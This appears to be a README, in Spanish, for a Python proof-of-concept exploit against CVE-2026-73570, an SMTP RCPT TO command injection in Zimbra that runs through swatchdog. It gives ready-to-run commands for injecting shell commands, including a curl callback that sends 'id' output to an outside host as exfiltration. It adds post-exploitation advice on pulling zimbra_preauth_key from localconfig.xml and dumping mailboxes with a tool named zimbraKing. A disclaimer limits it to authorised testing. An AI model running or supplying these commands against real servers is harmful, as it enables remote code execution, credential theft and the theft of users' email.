
Python PoC para CVE-2026-73570, una inyección de comandos SMTP en Zimbra. Envía payloads malformados de RCPT TO para desencadenar la ejecución de comandos de shell a través de swatchdog, con escaneo automático de puertos y verificación OOB.
Un script personalizado de prueba de concepto (PoC) en Python de bajo nivel para probar vulnerabilidades de inyección de comandos SMTP (CVE-2026-73570).
Esta herramienta envía una dirección RCPT TO malformada que contiene sustitución de comandos estilo shell (por ejemplo, $(comando)) para determinar si el servidor de correo objetivo o su pipeline de procesamiento posterior pasa incorrectamente la dirección a través de un shell sin sanitización.
⚠️ AVISO: Esta herramienta está destinada únicamente a fines educativos y pruebas de seguridad autorizadas. Asegúrate de tener permiso explícito para probar la infraestructura objetivo. El escaneo o la explotación no autorizados de servidores de correo es ilegal.
No todos los servidores Zimbra son vulnerables. Todas estas condiciones deben cumplirse:
zimbra-snmp está instalado (a menudo se solicita durante la instalación).snmp_notify).swatchdog está en ejecución (activado por defecto).Superficie de ataque: El ataque no necesita que SNMP (UDP/161/162) esté expuesto al atacante. La entrada maliciosa llega a través de SMTP estándar.
El proceso swatchdog sigue el archivo /var/log/zimbra.log utilizando la configuración de /opt/zimbra/conf/swatchrc.in. Coincide activamente con las entradas de registro utilizando las siguientes expresiones regulares:
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/
El grupo de captura (.*) se trata como un nombre de servicio. El script dosnmp luego interpola ese texto capturado directamente en un comando Perl de backtick snmptrap. Debido a que los backticks de Perl se ejecutan a través del shell del sistema, cualquier metacarácter de shell capturado en (.*) se evalúa y ejecuta.
Los atacantes introducen el texto malicioso en el registro enviando un comando SMTP (como RCPT TO) cuyo argumento parece una línea real de estado de servicio. Postfix registra esto como sintaxis de dirección ilegal, pero swatchdog aún coincide con la expresión regular en la línea de registro y pasa el payload al shell.
smtplib estándar de Python para enviar payloads crudos que no cumplen con RFC exactamente como lo haría un atacante.--command.argparse para una fácil integración en flujos de trabajo de pruebas.Guarda el script en un archivo llamado CVE-2026-73570.py (o cualquier nombre que prefieras):
# Ejemplo: descargar o crear el archivo
nano CVE-2026-73570.py
Puedes ejecutar el script de varias maneras dependiendo de tu escenario de prueba.
Si no especificas un puerto, el script escaneará los puertos 25, 465 y 587, y automáticamente se dirigirá al primero que esté abierto.
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"
Si ya conoces el puerto objetivo (por ejemplo, 465), puedes omitir la adivinanza del escaneo.
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"
Si solo quieres verificar qué puertos de correo están abiertos en un objetivo sin enviar el payload.
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only
| Argumento | Corto | Descripción | Predeterminado |
|---|---|---|---|
--host | -H | IP o dominio del host objetivo. | 127.0.0.1 |
--port | -p | Puerto objetivo. Si se omite, escanea 25, 465, 587 y se dirige a uno abierto. | None (Auto) |
--command | -c | Comando de shell a inyectar en el payload SMTP. | TEST_PAYLOAD |
--scan-only | -s | Solo escanear puertos y salir sin enviar el payload de inyección. | False |
Ejecutar el script solo demuestra que el servidor de correo recibe la dirección RCPT TO malformada. Para confirmar la inyección de comandos real sin necesidad de acceso directo al sistema de archivos o registros del objetivo, utiliza una devolución de llamada fuera de banda (OOB) a través de HTTP.
http://xyz123.requestrepo.com).curl para alcanzar tu URL única:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
Pro-Tip (Exfiltración de datos): Puedes exfiltrar la salida de los comandos inyectándola en la ruta URL de tu devolución de llamada:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"
Revisa tu panel de Request Repo para ver la salida uid=0(root) en la ruta solicitada.
Durante las pruebas, puedes recibir una respuesta SMTP como esta:
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied
NO asumas que la vulnerabilidad ha fallado simplemente porque la dirección fue rechazada.
Muchos servidores de correo (como Postfix o Exim) aceptarán sintácticamente el payload durante la transacción SMTP, pero inmediatamente rechazarán el intento de entrega porque el dominio/destinatario no está en su lista de relay permitida.
La vulnerabilidad CVE-2026-73570 se activa después de que ocurre este rechazo. La cadena maliciosa fluye hacia /var/log/zimbra.log como una entrada de registro de sintaxis de dirección ilegal. swatchdog sigue este registro, coincide con el payload y lo pasa al shell.
Debido a que el payload aún llega a estos sistemas backend para el registro, la sustitución de comandos ($()) aún se ejecuta. Confía siempre en tu devolución de llamada OOB (por ejemplo, Request Repo) para verificar el éxito, independientemente del código de respuesta SMTP.
Una vez que se logra la ejecución de comandos a través de la inyección de swatchdog, el atacante típicamente opera como el usuario zimbra. Desde aquí, el objetivo principal suele ser acceder a los datos del buzón de correo.
Para facilitar este siguiente paso, puedes usar zimbraKing — una herramienta personalizada diseñada para volcar buzones de correo de Zimbra.
Escenario de uso:
Durante tu fase de post-explotación, si puedes leer los archivos de configuración de Zimbra y extraer la preAuthKey (generalmente encontrada en /opt/zimbra/conf/localconfig.xml bajo la clave zimbra_preauth_key) o si obtienes credenciales válidas de cuenta de Zimbra, puedes introducirlas en zimbraKing.
La herramienta aprovecha la preAuthKey o las credenciales de la cuenta para autenticarse contra la API SOAP de Zimbra y volcar sistemáticamente el contenido del buzón objetivo sin necesidad de interactuar directamente con la base de datos subyacente o el sistema de archivos.
smtplib?El smtplib integrado de Python aplica estándares RFC estrictos. Si intentas pasar una dirección que contenga ", $, (, y ) a través de smtplib.sendmail(), la biblioteca ya sea modificará la cadena para hacerla "segura" o lanzará una excepción SMTPRecipientsRefused antes de que los datos lleguen a la red. Este cliente personalizado utiliza sockets crudos para garantizar la entrega byte por byte del payload del exploit.